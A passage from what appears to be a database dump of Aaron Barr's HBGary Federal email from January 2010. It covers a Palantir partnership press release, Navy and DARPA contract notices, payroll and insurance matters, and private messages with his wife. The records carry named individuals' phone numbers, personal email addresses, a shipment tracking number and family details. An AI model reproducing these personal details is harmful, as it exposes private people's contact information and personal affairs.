Colorado. in Colorado Springs, CO http://loopt.us/4NsN9Q.t','\r\n\r\n  \r\n  \r\n    \r\n      LinkedIn Status Update\r\n    \r\n    \r\n      \r\n            Aaron Barr,\r\n            angela fugate has just left a comment on your status,  \"Just landed.  It is great to be back in Colorado. in Colorado Springs, CO http://loopt.us/4NsN9Q.t\"\r\n            \"Welcome back!\"\r\n            Reply\r\n      \r\n    \r\n    \r\n      \r\n          Don\'t want to receive email notifications?  Adjust your message settings. LinkedIn values your privacy. At no time has Linkedin made your email address available to any other LinkedIn user without your permission.\r\n&#169; 2009, LinkedIn Corporation\r\n\r\n      \r\n    \r\n  \r\n  \r\n\r\n',10651,'aaron_hbgary_com/10651.html'),(1052,'2010-01-11','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297000197.M280812P3547Q1053.eml','\"Aaron Barr\" <aaron@hbgary.com>','Matthew Steckman has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Matthew are now connected.\r\n\r\n \r\n   \r\n   View Matthew\'s profile to:\r\n     \r\n       Download Matthew\'s current contact information\r\n       Write a recommendation for Matthew\r\n       Find opportunities through Matthew\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/74GQgvacGxZR3E5O7EOQw5Eauzi/fpf/45795386/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n',4812,'aaron_hbgary_com/4812.html'),(1053,'2010-01-11','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000197.M502855P3547Q1054.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Press Release','Thanks Aaron. I think this is a good start. Before I provide feedback below, I\'d like to get more specifics on the partnership itself.&nbsp; Also, this is a good opportunity to restate (briefly) the cyberchallenges facing government customers, how&nbsp;HBGary Federal and Palantir are on the government front-lines every day&nbsp;combatting these challenges, and what your two companies bring together&nbsp;thru this partnership that moves the bar re better protecting these agenices.&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;\r\nIt would be great too if Palantir could provide a quote for the release. I can draft one for theire review, if that is easier.\r\n&nbsp;\r\nPlease feel free to call me at 650-814-3764 to discuss further! Best, Karen\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;\r\n&nbsp;\r\n--- On Mon, 1/11/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Press ReleaseTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Ted Vera\" &lt;ted@hbgary.com&gt;Date: Monday, January 11, 2010, 5:24 AM\r\nHi Karen,Can you take a look at what I have written so far.&nbsp; I know there is something missingTed may have some input as well.&nbsp; If you could send me back any input and I will finish it up.ThanksAaronHBGary Federal and Palantir Technologies partner to provide enhanced cyber based threat intelligence[paragraph about the partnership here.]HBGary Federal and its parent company HBGary provide enhanced malware analysis and incident response products and services to combat the advanced persistent threat.Aaron Barr, CEO of HBGary Federal commented: \"It is our vision to bring together the best intelligence and analysis technologies with some of the brightest malware and threat intelligence analysts and develop a cooperative capability that can make significant contributions to the national capabilities in threat analysis and attribution.&nbsp; This is the first step, leveraging\r\n HBGarys advanced Malware analysis technologies and Palantirs leading analysis toolsuite, with trained threat and malware analysts from HBGary Federal.\r\n\r\n',11919,'aaron_hbgary_com/11919.html'),(1054,'2010-01-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000197.M53172P3547Q1052.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','Press Release','Hi Karen,\r\n\r\nCan you take a look at what I have written so far.  I know there is something missingTed may have some input as well.  If you could send me back any input and I will finish it up.\r\n\r\nThanks\r\nAaron\r\n\r\n\r\nHBGary Federal and Palantir Technologies partner to provide enhanced cyber based threat intelligence\r\n\r\n[paragraph about the partnership here.]\r\n\r\nHBGary Federal and its parent company HBGary provide enhanced malware analysis and incident response products and services to combat the advanced persistent threat.\r\n\r\nAaron Barr, CEO of HBGary Federal commented: \"It is our vision to bring together the best intelligence and analysis technologies with some of the brightest malware and threat intelligence analysts and develop a cooperative capability that can make significant contributions to the national capabilities in threat analysis and attribution.  This is the first step, leveraging HBGarys advanced Malware analysis technologies and Palantirs leading analysis toolsuite, with trained threat and malware analysts from HBGary Federal.\r\n\r\n\r\n\r\n',2042,'aaron_hbgary_com/2042.html'),(1055,'2010-01-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000197.M687233P3547Q1055.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','check','Hi DeeAnn,\r\n\r\nI spoke with Penny last week and she said she\'d have paychecks sent to\r\nme & Aaron.  Can you please send me the tracking number / or let me\r\nknow when they go out?\r\n\r\nThanks,\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n',2475,'aaron_hbgary_com/2475.html'),(1056,'2010-01-11','\"Chris Rouland\" <chris@endgames.us>','/aaron@hbgary.com/new/1297000211.M165806P3547Q1056.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Discussion','Aaron,I am in DC with customers Mon-Tues this week but available for a call Wed-Thur this week if that is convenient. &nbsp;Thanks for following up - I had a great meeting with Greg last year but haven\'t been able to move the ball forward. &nbsp;Can you send me some times that work for you? &nbsp;A short company bio is attached, marked confidential under the MNDA we did with HBGary last year.-Chris',11419,'aaron_hbgary_com/11419.html'),(1057,'2010-01-11','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297000212.M1493P3547Q1057.eml','\"Aaron Barr\" <aaron@hbgary.com>','Tracking Number','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nHere is your tracking number for your check&nbsp; FEDEX 8704 8262\r\n0085.&nbsp; You should have it no later than tomorrow.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',597,'aaron_hbgary_com/597.html'),(1058,'2010-01-11','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297000212.M212177P3547Q1058.eml','\"Aaron Barr\" <aaron@hbgary.com>','Health Insurance','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nWould like your health insurance to start March 1.&nbsp; You will\r\nhave to start Paying your premium now.&nbsp; I have to let Jeff know as soon as\r\npossible.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6650,'aaron_hbgary_com/6650.html'),(1059,'2010-01-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000212.M445795P3547Q1059.eml','\"Aaron Barr\" <aaron@hbgary.com>','Cyber Range','National Cyber Range - Phase IISolicitation Number: DARPA-BAA-08-43Agency: Other Defense AgenciesOffice: Defense Advanced Research Projects AgencyLocation: Contracts Management OfficeSolicitation Number:DARPA-BAA-08-43Notice Type:Award NoticeContract Award Date:January 8, 2010Contract Award Number:HR0011-10-C-0042Contract Award Dollar Amount:$30,803,319Contractor Awarded Name:Lockheed Martin Simulation, Training and SupportContractor Awarded Address:12506 Lake Underhill RoadOrlando, Florida 32825United StatesSolicitation Number:DARPA-BAA-08-43Notice Type:Award NoticeContract Award Date:January 8, 2010Contract Award Number:HR0011-10-C-0039Contract Award Dollar Amount:$24,777,235Contractor Awarded Name:Johns Hopkins University/Applied Physics LaboratoryContractor Awarded Address:11100 Johns Hopkins RoadLaurel, Maryland 20723United States\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n',16492,'aaron_hbgary_com/16492.html'),(1060,'2010-01-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000212.M630213P3547Q1060.eml','\"Barr Aaron\" <aaron@hbgary.com>','Biz Opps','Two new bizopps just posted:\r\n\r\nComputer Network Defense\r\nSolicitation Number: 10-004\r\nAgency: Department of the Navy\r\nOffice: Office of Naval Research\r\nLocation: ONR\r\nAdded: Jan 07, 2010 6:26 pm\r\nThe Office of Naval Research seeks innovative proposals for\r\ntechnologies that support \"pro-active cyber network defense and\r\ninformation assurance\" which can be adapted and integrated into an\r\nadvanced prototype offering leading edge capabilities. This advanced\r\nprototype will ensure maximum continuity of cyber operations and\r\navailability of national assets and data during cyber conflict. The\r\nprototype will lead to new concepts for protecting data traversing the\r\nDepartment of the Navy (DON) networks and will provide decision\r\nmanagement, intelligent decision aids, data fusion and correlation,\r\nand visualization capabilities.\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&mode=form&id=0ef20b2becbd71237724cda0eeddfe7f&tab=core&_cview=0\r\n\r\n___________________\r\n\r\n\r\nA -- C4ISR, Information Operations and Information Technology Research\r\nSolicitation Number: N66001-10-X-0012\r\nAgency: Department of the Navy\r\nOffice: Space and Naval Warfare Systems Command\r\nLocation: SPAWAR Systems Center San Diego\r\n\r\nAdded: Jan 07, 2010 11:52 am\r\nThe Space and Naval Warfare Systems Center, Pacific (SSC Pacific), is\r\nseekingbasic and applied research and prototype development white\r\npapers and fullproposals in areas relating to the advancement of\r\nCommand, Control,Communications, Computers, Intelligence,\r\nSurveillance, and Reconnaissance(C4ISR) capabilities, enabling\r\ntechnologies for Information Operations andCyber Operations, and\r\nInformation Technology systems. Additional informationabout areas of\r\ninterest to SSC Pacific may be found\r\nathttp://www.spawar.navy.mil/pacific and\r\nhttps://e-commerce.sscno.nmci.navy.mil. Proposed research should\r\ninvestigate uniqueand innovative approaches for defining and\r\ndeveloping next generationintegratable C4ISR capabilities and command\r\nsuites.\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&mode=form&id=016316f31c74f699c85e82ed7137465b&tab=core&_cview=0\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n',10594,'aaron_hbgary_com/10594.html'),(1061,'2010-01-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000212.M815207P3547Q1061.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Re: Health Insurance','No I would like it to start before March 1st. &nbsp;I\'ll give Jeff a call I thought he was working this.Thanks,AaronOn Jan 11, 2010, at 1:42 PM, DeeAnn Buonaccorsi wrote:Hi Aaron,&nbsp;Would like your health insurance to start March 1.&nbsp; You will have to start Paying your premium now.&nbsp; I have to let Jeff know as soon as possible.&nbsp;Thanks,&nbsp;DeeAnn BuonaccorsiOffice ManagerHBGary, Inc.3604 Fair Oaks Blvd.&nbsp; Suite 250Sacramento, CA&nbsp; 95864Tel:&nbsp; 916-459-4727 ext. 101Fax: 916-481-1460Email&nbsp;&nbsp;deeann@hbgary.com&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2371,'aaron_hbgary_com/2371.html'),(1062,'2010-01-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000213.M245963P3547Q1063.eml','\"Chris Rouland\" <chris@endgames.us>','Re: Discussion','Chris,Next time we have an opportunity I think it would be good for us to have a face to face visit. &nbsp;I am in a conference most of the rest of the week, so I can make most times work. &nbsp;Lets shoot for Thursday afternoon?AaronOn Jan 11, 2010, at 11:38 AM, Chris Rouland wrote:Aaron,I am in DC with customers Mon-Tues this week but available for a call Wed-Thur this week if that is convenient. &nbsp;Thanks for following up - I had a great meeting with Greg last year but haven\'t been able to move the ball forward. &nbsp;Can you send me some times that work for you? &nbsp;A short company bio is attached, marked confidential under the MNDA we did with HBGary last year.-Chris&lt;egs-q1-10brief.pdf&gt;On Jan 8, 2010, at 9:41 AM, Aaron Barr wrote:Hi chris,We met briefly at the afcea conference at landsdowne last month andexchanged cards. &nbsp;I would like to set up a call to talk about ourcompanies capabilities and what we might be able to do together.Aaron BarrCEOHBGary Federal Inc.(916) 459-4727 x117(719) 510-8478 From my iPhone\r\n--Chris RoulandCEOEndgame Systemschris@endgames.us\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5588,'aaron_hbgary_com/5588.html'),(1063,'2010-01-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000213.M540093P3547Q1064.eml','\"Sandy Barr\" <freelybe@hotmail.com>','Colorado','We are meant for this place.  I can\'t imagine our kids growing up anywhere else.  We will definitely be moving very near the end of their time at Franklin.  Lets look at that apartment when I get back.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8160,'aaron_hbgary_com/8160.html'),(1064,'2010-01-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000213.M62230P3547Q1062.eml','\"Sandy Barr\" <freelybe@hotmail.com>','Insurance','I will talk with Jeff tomorrow.  March 1st is not right.  Insurance is to start at 90 days of start of employment, but I talked to Jeff and he was going to back date to start Jan. 1st.  I know it sounds a little odd but he said it was no problem.  I will talk to him and make sure.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15176,'aaron_hbgary_com/15176.html'),(1065,'2010-01-12','\"Sandy\" <freelybe@hotmail.com>','/aaron@hbgary.com/new/1297000213.M721224P3547Q1065.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Colorado','why did we leave\r\n\r\nSent from my iPhone\r\n\r\nOn Jan 11, 2010, at 11:36 PM, Aaron Barr  wrote:\r\n\r\n> We are meant for this place.  I can\'t imagine our kids growing up  \r\n> anywhere else.  We will definitely be moving very near the end of  \r\n> their time at Franklin.  Lets look at that apartment when I get back.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n',14820,'aaron_hbgary_com/14820.html'),(1066,'2010-01-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000213.M916034P3547Q1066.eml','\"Sandy\" <freelybe@hotmail.com>','Re: Colorado','I can\'t get that question out of my head.\r\n\r\n From my iPhone\r\n\r\nOn Jan 12, 2010, at 5:04 AM, Sandy  wrote:\r\n\r\n> why did we leave\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Jan 11, 2010, at 11:36 PM, Aaron Barr  wrote:\r\n>\r\n>> We are meant for this place.  I can\'t imagine our kids growing up\r\n>> anywhere else.  We will definitely be moving very near the end of\r\n>> their time at Franklin.  Lets look at that apartment when I get back.\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>>\r\n',10100,'aaron_hbgary_com/10100.html'),(1067,'2010-01-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000214.M140022P3547Q1067.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Fwd: Press Release','Hey Matt,Could you provide a quote about our partnership for the press release? &nbsp;Read trail below.I was planning to finish this yesterday but instead skii\'d, went to the princeton hotsprings and sat in the creek until dark, then went for sushi. &nbsp;A good day.Thanks,AaronBegin forwarded message:From: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Date: January 11, 2010 9:58:34 AM MSTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: Press ReleaseThanks Aaron. I think this is a good start. Before I provide feedback below, I\'d like to get more specifics on the partnership itself.&nbsp; Also, this is a good opportunity to restate (briefly) the cyberchallenges facing government customers, how&nbsp;HBGary Federal and Palantir are on the government front-lines every day&nbsp;combatting these challenges, and what your two companies bring together&nbsp;thru this partnership that moves the bar re better protecting these agenices.&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;\r\nIt would be great too if Palantir could provide a quote for the release. I can draft one for theire review, if that is easier.\r\n&nbsp;\r\nPlease feel free to call me at 650-814-3764 to discuss further! Best, Karen\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;\r\n&nbsp;\r\n--- On Mon, 1/11/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Press ReleaseTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Ted Vera\" &lt;ted@hbgary.com&gt;Date: Monday, January 11, 2010, 5:24 AM\r\nHi Karen,Can you take a look at what I have written so far.&nbsp; I know there is something missingTed may have some input as well.&nbsp; If you could send me back any input and I will finish it up.ThanksAaronHBGary Federal and Palantir Technologies partner to provide enhanced cyber based threat intelligence[paragraph about the partnership here.]HBGary Federal and its parent company HBGary provide enhanced malware analysis and incident response products and services to combat the advanced persistent threat.Aaron Barr, CEO of HBGary Federal commented: \"It is our vision to bring together the best intelligence and analysis technologies with some of the brightest malware and threat intelligence analysts and develop a cooperative capability that can make significant contributions to the national capabilities in threat analysis and attribution.&nbsp; This is the first step, leveraging\r\n HBGarys advanced Malware analysis technologies and Palantirs leading analysis toolsuite, with trained threat and malware analysts from HBGary Federal.\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4276,'aaron_hbgary_com/4276.html'),(1068,'2010-01-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000214.M541237P3547Q1068.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Cyber Range','ouch.On Jan 11, 2010, at 3:50 PM, Ted Vera wrote:National Cyber Range - Phase IISolicitation Number: DARPA-BAA-08-43Agency: Other Defense AgenciesOffice: Defense Advanced Research Projects AgencyLocation: Contracts Management OfficeSolicitation Number:DARPA-BAA-08-43Notice Type:Award NoticeContract Award Date:January 8, 2010Contract Award Number:HR0011-10-C-0042Contract Award Dollar Amount:$30,803,319Contractor Awarded Name:Lockheed Martin Simulation, Training and SupportContractor Awarded Address:12506 Lake Underhill RoadOrlando, Florida 32825United StatesSolicitation Number:DARPA-BAA-08-43Notice Type:Award NoticeContract Award Date:January 8, 2010Contract Award Number:HR0011-10-C-0039Contract Award Dollar Amount:$24,777,235Contractor Awarded Name:Johns Hopkins University/Applied Physics LaboratoryContractor Awarded Address:11100 Johns Hopkins RoadLaurel, Maryland 20723United States\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3696,'aaron_hbgary_com/3696.html'),(1069,'2010-01-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000214.M885389P3547Q1069.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Biz Opps','So the first one sounds like they are looking for a working prototype?  The second one I think we definately need to submit for.  What do you think of the first?\r\n\r\nAaron\r\n\r\nOn Jan 11, 2010, at 3:54 PM, Ted Vera wrote:\r\n\r\n> Two new bizopps just posted:\r\n> \r\n> Computer Network Defense\r\n> Solicitation Number: 10-004\r\n> Agency: Department of the Navy\r\n> Office: Office of Naval Research\r\n> Location: ONR\r\n> Added: Jan 07, 2010 6:26 pm\r\n> The Office of Naval Research seeks innovative proposals for\r\n> technologies that support \"pro-active cyber network defense and\r\n> information assurance\" which can be adapted and integrated into an\r\n> advanced prototype offering leading edge capabilities. This advanced\r\n> prototype will ensure maximum continuity of cyber operations and\r\n> availability of national assets and data during cyber conflict. The\r\n> prototype will lead to new concepts for protecting data traversing the\r\n> Department of the Navy (DON) networks and will provide decision\r\n> management, intelligent decision aids, data fusion and correlation,\r\n> and visualization capabilities.\r\n> \r\n> https://www.fbo.gov/index?s=opportunity&mode=form&id=0ef20b2becbd71237724cda0eeddfe7f&tab=core&_cview=0\r\n> \r\n> ___________________\r\n> \r\n> \r\n> A -- C4ISR, Information Operations and Information Technology Research\r\n> Solicitation Number: N66001-10-X-0012\r\n> Agency: Department of the Navy\r\n> Office: Space and Naval Warfare Systems Command\r\n> Location: SPAWAR Systems Center San Diego\r\n> \r\n> Added: Jan 07, 2010 11:52 am\r\n> The Space and Naval Warfare Systems Center, Pacific (SSC Pacific), is\r\n> seekingbasic and applied research and prototype development white\r\n> papers and fullproposals in areas relating to the advancement of\r\n> Command, Control,Communications, Computers, Intelligence,\r\n> Surveillance, and Reconnaissance(C4ISR) capabilities, enabling\r\n> technologies for Information Operations andCyber Operations, and\r\n> Information Technology systems. Additional informationabout areas of\r\n> interest to SSC Pacific may be found\r\n> athttp://www.spawar.navy.mil/pacific and\r\n> https://e-commerce.sscno.nmci.navy.mil. Proposed research should\r\n> investigate uniqueand innovative approaches for defining and\r\n> developing next generationintegratable C4ISR capabilities and command\r\n> suites.\r\n> \r\n> https://www.fbo.gov/index?s=opportunity&mode=form&id=016316f31c74f699c85e82ed7137465b&tab=core&_cview=0\r\n> \r\n> \r\n> \r\n> -- \r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal, Inc.\r\n> 719-237-8623\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',174,'aaron_hbgary_com/174.html'),(1070,'2010-01-12','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000219.M545680P3547Q1070.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Press Release','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHaha, nice, where was my invite?&nbsp; Ill try and get something\r\nturned around soon.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 12, 2010 9:04 AM\r\nTo: Matthew Steckman\r\nSubject: Fwd: Press Release\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Matt,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCould you provide a quote about our partnership for the\r\npress release? &nbsp;Read trail below.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI was planning to finish this yesterday but instead skii\'d,\r\nwent to the princeton hotsprings and sat in the creek until dark, then went for\r\nsushi. &nbsp;A good day.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nKaren\r\nBurke &lt;karenmaryburke@yahoo.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nJanuary\r\n11, 2010 9:58:34 AM MST\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nAaron\r\nBarr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nCc:\r\nTed\r\nVera &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nRe: Press Release\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n  Thanks Aaron. I think this is a good start. Before I\r\n  provide feedback below, I\'d like to get more specifics on the partnership\r\n  itself.&nbsp; Also, this is a good opportunity to restate (briefly) the\r\n  cyberchallenges facing government customers, how&nbsp;HBGary Federal and\r\n  Palantir are on the government front-lines every day&nbsp;combatting these\r\n  challenges, and what your two companies bring together&nbsp;thru this\r\n  partnership that moves the bar re better protecting these\r\n  agenices.&nbsp;&nbsp;&nbsp;&nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  It would be great too if Palantir could provide a quote\r\n  for the release. I can draft one for theire review, if that is easier.\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Please feel free to call me at 650-814-3764 to discuss\r\n  further! Best, Karen\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;&nbsp;&nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  --- On Mon, 1/11/10, Aaron Barr &lt;aaron@hbgary.com&gt;\r\n  wrote:\r\n  \r\n  \r\n  \r\n  From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n  Subject: Press Release\r\n  To: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\n  Cc: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;\r\n  Date: Monday, January 11, 2010, 5:24 AM\r\n  \r\n  Hi Karen,\r\n  \r\n  Can you take a look at what I have written so far.&nbsp; I know there is\r\n  something missingTed may have some input as well.&nbsp; If you could send me\r\n  back any input and I will finish it up.\r\n  \r\n  Thanks\r\n  Aaron\r\n  \r\n  \r\n  HBGary Federal and Palantir Technologies partner to provide enhanced cyber\r\n  based threat intelligence\r\n  \r\n  [paragraph about the partnership here.]\r\n  \r\n  HBGary Federal and its parent company HBGary provide enhanced malware\r\n  analysis and incident response products and services to combat the advanced\r\n  persistent threat.\r\n  \r\n  Aaron Barr, CEO of HBGary Federal commented: &quot;It is our vision to bring\r\n  together the best intelligence and analysis technologies with some of the\r\n  brightest malware and threat intelligence analysts and develop a cooperative\r\n  capability that can make significant contributions to the national\r\n  capabilities in threat analysis and attribution.&nbsp; This is the first\r\n  step, leveraging HBGarys advanced Malware analysis technologies and Palantirs\r\n  leading analysis toolsuite, with trained threat and malware analysts from\r\n  HBGary Federal.\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16385,'aaron_hbgary_com/16385.html'),(1071,'2010-01-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000219.M728290P3547Q1071.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Press Release','Sorry for delay. &nbsp;I was skiing yesterday. &nbsp;:)Matt from Palantir is working on a quote. &nbsp;I am going to work a little more on the challenges piece today.More information on the partnership. &nbsp;Palantir is an analysis toolsuite that can ingest various types of information/data sets and has a very good interface and set of capabilities to parse through, organize the data. &nbsp;So as a start we would ingest HBGarys binary internals data and begin to organize and analyze it for patterns. &nbsp;We can ingest open source information and mash that up. &nbsp;As we bring on other partners, such as Netwitness, EndGames, etc. &nbsp;We can ingest their data sets and start organizing/analyzing all the datasets to provide threat/risk intelligence.Palantir is the product suite we would use as the core in our threat intelligence center. &nbsp;We are using this concept as a central pitch to customers. &nbsp;Put some linguist/intelligence analysts(russian/chinese), threat and malware analysts in a cell focused on building intelligence on the threat.Is this enough info?AaronOn Jan 11, 2010, at 9:58 AM, Karen Burke wrote:Thanks Aaron. I think this is a good start. Before I provide feedback below, I\'d like to get more specifics on the partnership itself.&nbsp; Also, this is a good opportunity to restate (briefly) the cyberchallenges facing government customers, how&nbsp;HBGary Federal and Palantir are on the government front-lines every day&nbsp;combatting these challenges, and what your two companies bring together&nbsp;thru this partnership that moves the bar re better protecting these agenices.&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;\r\nIt would be great too if Palantir could provide a quote for the release. I can draft one for theire review, if that is 